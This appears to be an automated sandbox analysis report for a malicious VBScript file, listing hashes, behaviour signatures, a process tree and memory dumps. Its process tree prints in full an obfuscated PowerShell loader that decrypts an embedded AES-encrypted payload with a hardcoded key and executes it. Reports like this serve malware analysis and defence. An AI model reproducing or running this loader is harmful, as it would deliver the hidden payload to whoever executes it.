Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2024 07:37

General

  • Target

    greatbunfeelsoftandhoney.vbs

  • Size

    405KB

  • MD5

    5ebeb712feef959ca93860f33bb90c28

  • SHA1

    09301af0647826aafc70b8217c9b9d73603f4c9c

  • SHA256

    dcc910e18826b06462dd9876597c66f760a0cf3748bb7290f836fd197c992461

  • SHA512

    545c24ead34d651503b236a503570a4b71538118c12d0a98f178a2bf2a90b2562148bf36051005c9e444cb76ce4aeb738205866f90bef0fcffeb83da28fd5881

  • SSDEEP

    3072:/HG1wfkYFIhNe4VTdRnTT8w4TWfZqT92V3gByp0rpbXS7CQzS18f8d6bb/g52r:6wfkYFcZqT9m

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2060

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2060-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

    Filesize

    4KB

  • memory/2060-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

    Filesize

    2.9MB

  • memory/2060-6-0x0000000002240000-0x0000000002248000-memory.dmp

    Filesize

    32KB

  • memory/2060-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2060-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2060-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2060-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2060-11-0x000000001CCB0000-0x000000001CDD2000-memory.dmp

    Filesize

    1.1MB

  • memory/2060-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB